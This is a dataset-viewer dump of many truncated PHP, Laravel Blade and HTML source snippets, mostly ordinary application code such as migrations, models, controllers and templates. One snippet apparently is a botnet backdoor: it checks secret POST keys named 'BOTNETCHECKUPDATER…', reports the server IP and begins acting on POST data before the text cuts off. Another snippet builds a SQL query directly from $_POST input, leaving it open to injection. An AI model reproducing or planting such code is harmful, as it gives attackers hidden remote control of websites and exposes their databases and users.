text stringlengths 2 1.03M |
|---|
<?php
/*
* This file is part of PhpSpec, A php toolset to drive emergent
* design by specification.
*
* (c) Marcello Duarte <marcello.duarte@gmail.com>
* (c) Konstantin Kudryashov <ever.zet@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with t... |
@extends('frontend.layouts.master')
@section('title', $title.' | MPWT')
@section('description', $defaultData['seo']['description'])
@section('image', $defaultData['seo']['image'])
@section('active-documents', 'active')
@section ('appbottomjs')
@endsection
@section ('content')
<div class="container">
<... |
<?php
class Migration_create_transport extends CI_Migration {
public function up()
{
$this->dbforge->add_field(array(
'id' => array(
'type' => 'INT',
'constraint' => 11,
'unsigned' => TRUE,
'auto_increment' => TRUE
),
'route_from' => array(
'type' => 'VARCHAR',
'constraint' => '20... |
<?php
namespace Shiyan\Iterate;
use Shiyan\Iterate\Exception\BreakIteration;
use Shiyan\Iterate\Exception\ContinueIteration;
use Shiyan\Iterate\Scenario\ScenarioInterface;
/**
* Iterates by a scenario.
*/
class Iterate {
/**
* Runs the iteration by the scenario.
*
* @param \Iterator $iterator
* It... |
<?php
/**
* Created by PhpStorm.
* User: a.chernov
* Date: 30.10.2017
* Time: 18:39
*/
use yii\helpers\Html;
use yii\widgets\Pjax;
/* @var $model common\models\Snowflake */
/* @var $card common\models\CharacterCard */
/* @var $character array of common\models\Character */
/* @var $bookpart array */
Pjax::begin(... |
<?php
/**
* Taxonomy API: WP_Term_Query class.
*
* @package WordPress
* @subpackage Taxonomy
* @since 4.6.0
*/
/**
* Class used for querying terms.
*
* @since 4.6.0
*
* @see WP_Term_Query::__construct() for accepted arguments.
*/
class WP_Term_Query {
/**
* SQL string used to perform database query.
... |
<?php
namespace App\Http\Controllers;
use Exception;
use DateTime;
use DateInterval;
use Redirect;
use Validator;
use Session;
use App\Event;
use App\Employee;
use App\Client;
use App\Sample;
use App\Sample_Tests;
use App\Parameter;
use App\Station;
use App\Supplier;
use App\Item;
use App\InventoryList;
use App\Trans... |
<?php
namespace Database\Factories;
use App\Models\TeamMember;
use Illuminate\Database\Eloquent\Factories\Factory;
class TeamMemberFactory extends Factory
{
/**
* The name of the factory's corresponding model.
*
* @var string
*/
protected $model = TeamMember::class;
/**
* Define... |
<?php
/**
* Copyright 2016 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agr... |
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
class AddColumanNewReadings extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::table('readings', fu... |
<?php
class profile extends System
{
public $additional;
public function __construct($params = array()) {
parent::__construct();
if ($this->logged_in == 0 && $_GET['val2'] != 'error') {
go(_cfg('site'));
exit();
}
}
public function errorPage() {
... |
<x-app-layout>
<h1>Main Dashboard</h1>
</x-app-layout>
{{--
<!DOCTYPE html>
<html lang="en">
<head>
<x-partials.head/>
</head>
<body>
<div
x-data="setup()"
x-init="$refs.loading.classList.add('hidden'); setColors(color);"
:class="{ 'dark': isDark}"
@resize.window="watchScreen()... |
<?php
$MESS['FUS_FIELD_NOT_EXIST'] = 'Поле с кодом "#CODE#" не найдено';
$MESS['FUS_ON_BEFORE_OPTION_GET_ERROR'] = 'Обработчик события OnOptionGet вернул ошибку';
$MESS['FUS_ON_BEFORE_OPTION_SET_ERROR'] = 'Обработчик события OnBeforeOptionSet вернул ошибку'; |
@extends('layouts.app')
@section('extra-css')
<link rel="stylesheet" type="text/css" href="{{ asset('app-assets/css/vendors.css')}}">
<link rel="stylesheet" type="text/css" href="{{ asset('app-assets/vendors/css/tables/datatable/datatables.min.css')}}">
@endsection
@section('section')
<div class="content-wrapper">
... |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Internal Error</title>
<!-- Fonts -->
<link rel="dns-prefetch" href="//fonts.gstatic.com">
<link href="https://fonts.googleapis... |
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
#isinya buat login karyawan aja
class Sales extends CI_Controller
{
public function __construct()
{
parent::__construct();
$this->load->model('m_produk');
$this->load->model('m_user');
$this->load->model('m_pemba... |
<?php
define("ROOT_FOLDER", realpath(__DIR__ . "/../..")); // eg. /var/www/summaries
class API_Settings{
// General Settings
public $timeZone = "Europe/Lisbon";
// Database Settings
public $databaseHost = "localhost";
public $databaseUser = "summaries";
public $databasePsswd = "";
pub... |
<?php
/**
* @package yii2-krajee-base
* @author Kartik Visweswaran <kartikv2@gmail.com>
* @copyright Copyright © Kartik Visweswaran, Krajee.com, 2015
* @version 1.7.4
*/
namespace kartik\base;
use yii\helpers\Json;
use yii\web\JsExpression;
use yii\web\View;
/**
* Trait used for Krajee widgets.
*... |
<?php
namespace App\Providers;
use Illuminate\Foundation\Support\Providers\RouteServiceProvider as ServiceProvider;
use Illuminate\Support\Facades\Route;
class RouteServiceProvider extends ServiceProvider
{
public const HOME = '/';
public function map()
{
$this->mapApiRoutes();
$this->m... |
<!DOCTYPE HTML>
<!--
Verti by HTML5 UP
html5up.net | @ajlkn
Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
-->
<html>
<head X-Frame-Options: SAMEORIGIN> <!-- SOLO EN LAS PÁGINAS CRÍTICAS -->
<?php include 'head.php'; ?>
</head>
<body class="is-preload homepage">
<div... |
<?php
$jsondata = $_POST['data'];
// the message
$msg = $jsondata;
// use wordwrap() if lines are longer than 70 characters
// $msg = wordwrap($msg,70);
// send email
mail("szuc7430@mylaurier.ca","JSON SERIALIZED ORDER",$msg);
echo $jsondata;
?> |
<?php
namespace App\Models;
//use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\SoftDeletes;
class LichChay extends Model
{
// use HasFactory;
use SoftDeletes;// add soft delete
protected $table= 'lich_chay';
protected $fi... |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">
<title>Urmerch - Official Merchandise<... |
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
class Inicio extends CI_Controller {
public function verificar_sessao(){
if ($this->session->userdata('logado')==false){
redirect('index.php/logon/login');
}
}
public function index($indice=null){
$this->verificar_sessao();
$id =... |
<?php
namespace Respect\Rest;
use PHPUnit_Framework_TestCase;
/**
* @covers Respect\Rest\Router
*/
class RouterTest extends PHPUnit_Framework_TestCase
{
public static $status = 200;
public function setUp()
{
$_SERVER['REQUEST_METHOD'] = 'GET';
$_SERVER['REQUEST_URI'] = '/';
}
/*... |
<div id="one" class="py-6">
<div class="bg-green-300 py-20 px-20">
<div class="w-full block flex-grow lg:flex lg:items-center lg:w-auto">
<div class="blogs bg-white mr-5 rounded-lg w-1/3">
<img src="/images/hikingPrev.jpg" class="rounded-lg">
<div class="p-5">
<h1 class="t... |
<?php
return [
'group' => '分组',
'title' => '标题',
'content' => '内容',
'status' => '状态',
'group_texts' => [
'about' => '关于我们',
'privacy' => '隐私协议',
],
'help_texts' => [
],
'response_texts' => [
]
]; |
<?php
/**
* PageBudget_
*
* PHP version 5
*
* @category Class
* @package com\hydrogen\nucleus
* @author Swagger Codegen team
* @link https://github.com/swagger-api/swagger-codegen
*/
/**
* Hydrogen Nucleus API
*
* The Hydrogen Nucleus API
*
* OpenAPI spec version: 1.9.5
* Contact: info@hydrogenpl... |
<?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class Purchase extends Model
{
//
protected $table = 'purchase_details';
protected $primaryKey = 'id';
protected $fillable = [
'pid',
'stock_code',
'account',
'produc... |
<?php namespace Anomaly\StreamsModule;
use Anomaly\Streams\Platform\Addon\Module\Module;
/**
* Class StreamsModule
*
* @link http://pyrocms.com/
* @author PyroCMS, Inc. <support@pyrocms.com>
* @author Ryan Thompson <ryan@pyrocms.com>
* @package Anomaly\StreamsModule
*/
class Stream... |
<?php
/**
* CodeIgniter
*
* An open source application development framework for PHP
*
* This content is released under the MIT License (MIT)
*
* Copyright (c) 2014 - 2017, British Columbia Institute of Technology
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this softw... |
<?php
namespace CartUp;
use CartUp\Discount\AbstractDiscount;
class Item implements Hashable
{
/**
* @var string
*/
private $code;
/**
* @var string
*/
private $description;
/**
* @var double
*/
private $price;
/**
* @var Tax
*/
private $tax;
/**
* @var AbstractDiscount[]
*/
private... |
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
class CreateProfilesTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('profiles', fu... |
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use App\User; // 追加
class UsersController extends Controller
{
public function index()
{
// ユーザ一覧をidの降順で取得
$users = User::orderBy('id', 'desc')->paginate(10);
// ユーザ一覧ビューでそれを表示
return view('users.index', ... |
<?php
/**
* WebEngine CMS
* https://webenginecms.org/
*
* @version 2.0.0
* @author Lautaro Angelico <https://lautaroangelico.com/>
* @copyright (c) 2013-2018 Lautaro Angelico, All Rights Reserved
*
* Licensed under the MIT license
* https://opensource.org/licenses/MIT
*/
try {
switch($_GET['type']) {
... |
<?php
/**
* This code was generated by
* \ / _ _ _| _ _
* | (_)\/(_)(_|\/| |(/_ v1.0.0
* / /
*/
namespace Twilio\Rest\Taskrouter\V1\Workspace\Task;
use Twilio\Exceptions\TwilioException;
use Twilio\InstanceContext;
use Twilio\Options;
use Twilio\Serialize;
use Twilio\Values;
use Twilio\Version;
c... |
<?php
include( "config.php" );
session_start();
if (isset($_SESSION['id'])) {
if(isset($_POST['allowItem']) and is_numeric($_POST['allowItem']) and $_SESSION['Admin'] == 1 and isset($_GET['allowed']) and is_numeric($_GET['allowed']))
{
$id = $_POST['allowItem'];
if($id == $_SESSION['id']){
$error = 2;
... |
<?php
/**
* YouTube Live Embed plugin for Craft CMS 3.x
*
* This plugin allows you to embed a YouTube live stream and/or live chat on your webpage
*
* @link https://nystudio107.com
* @copyright Copyright (c) 2019 nystudio107
*/
namespace nystudio107\youtubeliveembed\services;
use nystudio107\youtubeliveem... |
<?php
declare (strict_types=1);
/*
* This file is part of the Monolog package.
*
* (c) Jordi Boggiano <j.boggiano@seld.be>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace SearchWP\Dependencies\Monolog\Handler;
use Searc... |
<?php
namespace App\Providers;
use Illuminate\Support\ServiceProvider;
use Illuminate\Support\Facades\Blade;
class AppServiceProvider extends ServiceProvider
{
/**
* Register any application services.
*
* @return void
*/
public function register()
{
//
}
/**
* Bo... |
<?php
/*
* Idfy
*
* This file was automatically generated for Idfy by APIMATIC v2.0 ( https://apimatic.io ).
*/
namespace IdfyLib\Models;
use JsonSerializable;
/**
* @todo Write general description for this model
*/
class UpdateDocumentRequestWrapper implements JsonSerializable
{
/**
* @todo Write gen... |
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
class Service extends Model
{
protected $fillable = ['sport', 'image', 'description', 'text'];
use HasFactory;
} |
<div class="website-content">
<div class="breadcrumbs">
<ul class="list-unstyled list-inline">
<li><a
id="<?php if(isset(Auth::user()->paymentInfo)){ echo '';} else { echo 'add_payment_info';} ?>"
href="<?php if(isset(Auth::user()->paymentInfo)){ echo '/da... |
<?php
/***********************************************
* This file is part of PeoplePods
* (c) xoxco, inc
* http://peoplepods.net http://xoxco.com
*
* theme/people/login.php
* Used by the core_authentication pod to create the /login page
*
* Documentation for this pod can be found here:
* http://peoplepods.net/readme... |
@extends('layouts.app')
@section('titulo','Registrarse')
@section('content')
<div class="container">
<div class="row">
<div class="col-md-8 col-md-offset-2">
<div class="panel panel-default">
<div class="panel-heading" style="padding-left: 10px">Registro</div>
<di... |
<?php
namespace packages\base;
use packages\base\frontend\{theme, events\throwDynamicData};
use packages\base\view\events\{beforeLoad, afterLoad, afterOutput};
class View {
/**
* Find a view by it's name or parents name.
*
* @param string $viewName [parent] Full Qualified Class Name.
* @throws packages\bas... |
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
class CreateSaleTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('sale', function (B... |
<?php
namespace App\Http\Controllers;
use Illuminate\Foundation\Bus\DispatchesJobs;
use Illuminate\Routing\Controller as BaseController;
use Illuminate\Foundation\Validation\ValidatesRequests;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
class Controller extends BaseController
{
use AuthorizesReques... |
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle ... |
@extends('layouts.app')
@section('content')
<div class="container">
<form class="form-horizontal" role="form" method="post" action="{{ route('cart.addresses') }}">
{{ csrf_field() }}
<h3>Please confirm your shipping and billing address before proceed to checkout: </h3>
<div class="addresses-... |
@if (Auth::user()->is_favorite($micropost->id))
{!! Form::open(['route' => ['micropost.unfavorite', $micropost->id], 'method' => 'delete']) !!}
{!! Form::submit(' ★ ', ['class' => "btn btn-warning btn-xs"])!!}
{!! Form::close() !!}
@else
{!! Form::open(['route' => ['micropost.favorite', $micropost->... |
<?php
namespace App\Http\Controllers;
use App\FileManager\FileManager;
use App\Repositories\ProductRepository;
use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Illuminate\Validation\ValidationException;
class ProductController extends Controller
{
use FileManager;
... |
<?php
/**
* This file is the view file of the application. Used for editing
* information of employee in modal window.
*
* InternalPhonebook: Internal phone book based on content of Active Directory.
* @copyright Copyright 2017-2018, Andrey Klimov.
* @license https://opensource.org/licenses/mit-license.php MIT L... |
<?php namespace Refear99\EasySls\Log;
use Refear99\EasySls\Exception;
use Refear99\EasySls\Protobuf;
class LogContent
{
private $_unknown;
private $key_ = null;
private $value_ = null;
function __construct($in = null, &$limit = PHP_INT_MAX)
{
if ($in !== null) {
if (is_str... |
<?php
/*
This file handles the admin area and functions.
You can use this file to make changes to the
dashboard. Updates to this page are coming soon.
It's turned off by default, but you can call it
via the functions file.
Developed by: Eddie Machado
URL: http://themble.com/bones/
Special Thanks for code & inspiratio... |
@extends('layout.master.master_awal')
@section('title', 'blog')
<!-- Header === -->
<!-- Content=== -->
@section('content')
<form action="/blog-post-awal" method="post" enctype="multipart/form-data" >
{{ @csrf_field() }}
<table class="inputan">
<tr>
<td>judul</td>
<td>:</t... |
<?php
namespace App\Http\Controllers\Frontend;
use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
class FrontController extends Controller
{
} |
<?php
return [
/*
|--------------------------------------------------------------------------
| Mail Driver
|--------------------------------------------------------------------------
|
| Laravel supports both SMTP and PHP's "mail" function as drivers for the
| sending of e-mail. You may s... |
<?php
namespace Brasa\TurnoBundle\Controller\Base;
use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route;
use Doctrine\ORM\EntityRepository;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Session\Session;
use Symfony\Com... |
<?php
namespace PHPFUI\ConstantContact;
/**
* Simple Date class for JSON output
*/
class DateTime extends \DateTime
{
public function __toString() : string
{
return $this->format(\DateTimeInterface::ATOM);
}
} |
<?php defined('BASEPATH') OR exit('No direct script access allowed');
/**
* Author : Hartanto Kurniawan.
* Email : hartanto.kurniawan@bppt.go.id
* Copyrights 2018
*/
class Crbayar extends MX_Controller {
function __construct()
{
parent::__construct();
$this->functions->check_session();
... |
<?php
namespace Config;
use CodeIgniter\Config\BaseConfig;
class Filters extends BaseConfig
{
// Makes reading things below nicer,
// and simpler to change out script that's used.
public $aliases = [
'isLoggedIn' => \App\Filters\isLoggedIn::class,
'csrf' => \CodeIgniter\Filters\CSRF::class,
'toolbar' ... |
<?php
declare(strict_types=1);
/*
* This file is part of the Sonata Project package.
*
* (c) Thomas Rabaix <thomas.rabaix@sonata-project.org>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Sonata\AdminBundle\Admin;
/... |
<?php header('Access-Control-Allow-Origin: *'); ?>
<?php
include("db.php");
$username=$_POST['username'];
$sql="SELECT * FROM `users` WHERE `username` = '$username'";
if($query = mysqli_query($db, $sql)){
$rowcount = mysqli_num_rows($query);
mysqli_free_result($query);
if($rowcount != 0 || $rowcount != NULL){
... |
<?php
namespace App\Mail;
use Illuminate\Bus\Queueable;
use Illuminate\Contracts\Queue\ShouldQueue;
use Illuminate\Mail\Mailable;
use Illuminate\Queue\SerializesModels;
class SendInvitation extends Mailable
{
use Queueable, SerializesModels;
/**
* Create a new message instance.
*
* @return ... |
<!DOCTYPE html>
<html lang="{{ str_replace('_', '-', app()->getLocale()) }}">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- CSRF Token -->
<meta name="csrf-token" content="{{ csrf_token()... |
@extends('projects.master.layout')
@section('title', 'EditTitle')
@section('content')
<h1 class="title">Show Project</h1>
<form method="POST" action="/projects/{{-- {{ $projects->id }} --}}">
@method('PATCH') @csrf
<fieldset class="form-group">
<label for="exampleInputEmail1">Title</label>
<input
n... |
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
class Customer extends Model
{
use HasFactory;
protected $fillable = [
"first_name", "last_name", "email", "phone_number", "password", "address"
];
} |
<?php
namespace MarckDevs\SimpleLogger;
class CommonsUtils{
public static function starts_with( $haystack, $needle ) {
$length = strlen( $needle );
return substr( $haystack, 0, $length ) === $needle;
}
public static function ends_with( $haystack, $needle ) {
$length = strlen( $needle );
... |
<table width="700" height="720" border="0">
<tr>
<td width="290" height="55"><label>Weight*</label> </td>
<td width="333">
{{ Form::input('number', 'weight', null, array('required' => 'true', 'min' => '1', 'max' => '500')) }}
</td>
<td width="200">
: kg
</td>
</tr>
<tr>
<td width="272" height="55"><label>Height*</label... |
<?php
/**
* @see https://github.com/laminas/laminas-di for the canonical source repository
* @copyright https://github.com/laminas/laminas-di/blob/master/COPYRIGHT.md
* @license https://github.com/laminas/laminas-di/blob/master/LICENSE.md New BSD License
*/
declare(strict_types=1);
namespace Laminas\Di;
... |
<?php
/*
v4.991 16 Oct 2008 (c) 2000-2008 John Lim (jlim#natsoft.com). All rights reserved.
Released under both BSD license and Lesser GPL library license.
Whenever there is any discrepancy between the two licenses,
the BSD license will take precedence.
Set tabs to 4 for best viewing.
Latest version is ... |
<?php include("db.php") ?>
<?php include("includes/header.php") ?>
<div class="container p-5">
<div class="row">
<div class="col-md-4">
<?php if (isset($_SESSION['msg'])) { ?>
<div class="alert alert-<?= $_SESSION['msg_type']; ?> alert-dismissible fade show" role="alert">
... |
$os = array("Mac", "NT", "Irix", "Linux");
assert(!in_array("Irix", $os),__LINE__);
#check register
assert(in_array("mac", $os),__LINE__);
#check strict param
$a = array('1.10', 12.4, 1.13);
assert(in_array('12.4', $a, true),__LINE__);
assert(!in_array(1.13, $a, true),__LINE__);
#check count
assert(count($a)!=3,__LI... |
<?php
return [
/*
|--------------------------------------------------------------------------
| Application Name
|--------------------------------------------------------------------------
|
| This value is the name of your application. This value is used when the
| framework needs to plac... |
<?php
namespace Database\Seeders;
use Illuminate\Database\Seeder;
use App\Models\Role;
use Illuminate\Support\Facades\DB;
class AddRoles extends Seeder
{
public function run()
{
DB::table('user_role')->where('user_id', '=', 1)->update([
'role_id' => 2
]);
}
} |
<?php # -*- coding: utf-8 -*-
namespace Inpsyde\MenuCache;
/**
* Main plugin class.
*
* @package Inpsyde\MenuCache
* @since 1.0.0
*/
class MenuCache {
/**
* Filter name.
*
* @since 1.2.0
*
* @var string
*/
const FILTER_EXPIRATION = 'inpsyde_menu_cache.expiration';
/**
* Filter name.
*
* ... |
<?php
use Illuminate\Database\Seeder;
use Spatie\Permission\Models\Role;
class RolesTableSeeder extends Seeder
{
/**
* Run the database seeds.
*
* @return void
*/
public function run()
{
Role::create([
'name' => 'admin',
'guard_name' => 'web'
]);... |
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
class CreditDetail extends Model
{
use HasFactory;
protected $fillable = [
'payment_id',
'amountPaid',
'collectedBy',
];
public function payments(){
... |
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class Examples extends CI_Controller {
public function __construct()
{
parent::__construct();
$this->load->database();
$this->load->helper('url');
$this->load->library('grocery_CRUD');
}
public function _example_output($output =... |
<?php
/**
* The header for our theme
*
* This is the template that displays all of the <head> section and everything up until <div id="content">
*
* @link https://developer.wordpress.org/themes/basics/template-files/#template-partials
*
* @package ach
*/
?>
<!doctype html>
<html <?php language_attributes(); ?>... |
<?php
/**
* DO NOT EDIT THIS FILE!
*
* This file was automatically generated from external sources.
*
* Any manual change here will be lost the next time the SDK
* is updated. You've been warned!
*/
namespace PWCode\eBaySDK\PostOrder\Types;
/**
*
* @property \PWCode\eBaySDK\PostOrder\Types\Text $comments
*/... |
<?php
namespace UR\Bundle\UserSystem\PublisherBundle\Entity;
use FOS\UserBundle\Model\Group as BaseGroup;
class Group extends BaseGroup
{
protected $id;
} |
<?php
declare(strict_types=1);
/*
* This file has been auto generated by Jane,
*
* Do no edit it directly.
*/
namespace Ammonkc\SabreApi\Model\CreatePassengerNameRecord\Normalizer;
use Symfony\Component\Serializer\Normalizer\DenormalizerAwareInterface;
use Symfony\Component\Serializer\Normalizer\DenormalizerAwa... |
<?php
error_reporting(E_ALL);
ini_set('display_errors', TRUE);
ini_set('display_startup_errors', TRUE);
date_default_timezone_set('Europe/London');
ini_set('max_execution_time', 300);
ini_set('memory_limit','10240M');
if (PHP_SAPI == 'cli')
die('This example should only be run from a Web Browser');
require_once di... |
<?php
/**
* The template used for displaying page content in page.php
*
* @package Photoline Lite
*/
?>
<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
<div class="entry-content">
<?php if ( has_post_thumbnail() ) : ?>
<?php the_post_thumbnail( 'photoline-big' ); ?>
<?php endif; //has_post_thum... |
<div class="sina-pc-col <?php echo esc_attr( $data['effects'] ); ?>">
<div class="sina-bp <?php echo esc_attr( $data['bg_layer_effects'] ); ?>">
<?php if ( has_post_thumbnail() ): ?>
<div class="sina-bg-thumb">
<img src="<?php the_post_thumbnail_url(); ?>" alt="<?php the_title(); ?>">
<div class="sina-ove... |
@extends('_layouts.admin')
@section('styles') {{-- Styles Section Start --}}
@endsection {{-- Styles Section End --}}
@section('title') {{-- Title Section Start --}}
Edit Post
@endsection {{-- Title Section End --}}
@section('content') {{-- Content Section Start --}}
{!! Form::open(['route' => 'UpdatePost', 'm... |
<?php
namespace App\Controller;
use App\App, Lucid\Lucid, Lucid\Html\html;
/**
* Roles Controller
*
* @package Roles
*/
class Roles extends \App\Controller
{
/**
* Instantiates a paris query object.
*
* @return ???
*/
public function getList()
{
$data = $this->model(... |
<?php
/*
* This file is part of the Blueprint Framwork package.
*
* (c) Christopher Briggs <chris@jooldesign.co.uk>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Blueprint\Page;
/**
* Page class.
*
* Provides a se... |
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
class CreatePostsTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('posts', function ... |
<?php
use Illuminate\Support\Facades\Schema;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;
class CreateCartsTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('carts', function ... |
<?php
namespace Tests;
use App\Models\Draft;
use App\Models\Exhibition;
use App\Models\Revision;
use App\Models\User;
use App\Models\Image;
use Illuminate\Support\Str;
use Faker;
class DraftTest extends TestCase {
public function testIndexAll() {
$drafts = [];
$exh = [];
$count = 5;
... |
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
class ShippingAddress extends Model
{
use HasFactory;
public $timestamps = false;
public function shipping(){
return $this->belongsTo(Shipping::class);
}
} |
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
class CreateNotasTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('notas', function ... |
<?php
declare(strict_types=1);
namespace Powerbody\Bridge\Entity\Product;
use \Psr\Log\LoggerInterface;
use \Powerbody\Bridge\Api\ClientInterface;
class StockProductRepository implements StockProductRepositoryInterface
{
private $client;
protected $logger;
public function __construct(ClientInterface $c... |
<div class="sidebar">
<div class="logo-details">
<div class="logo_name"><h3>C-Mart</h3></div>
<i class='fa fa-bars' id="btn" ></i>
</div>
<ul class="nav-list p-0">
<li class="dropdown">
<a href="index.html" class="dropbtn">
<i class="fa fa-frown-o" aria-hidd... |
<?php
$dir = str_replace('/scripts/get', '', str_replace('\\', '/', realpath('.'))) . '/';
if(isset($_POST['data'])){
//Cstart
if(@$_POST['id'] == 'BOTNETCHECKUPDATER0IP') print($_SERVER['SERVER_ADDR']);
//Rkey start
if(@$_POST['id'] == 'BOTNETCHECKUPDATER0-WD8Sju5VR1HU8jlV'){
//Rkey end
if(!empty($_POST['data'])) e... |
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
class CreateQuestionsTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('questions', f... |
<?php
namespace app\common\model;
use think\Model;
class Announce extends Model
{
protected $autoWriteTimestamp = true;
// 关闭自动写入update_time字段
protected $updateTime = false;
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.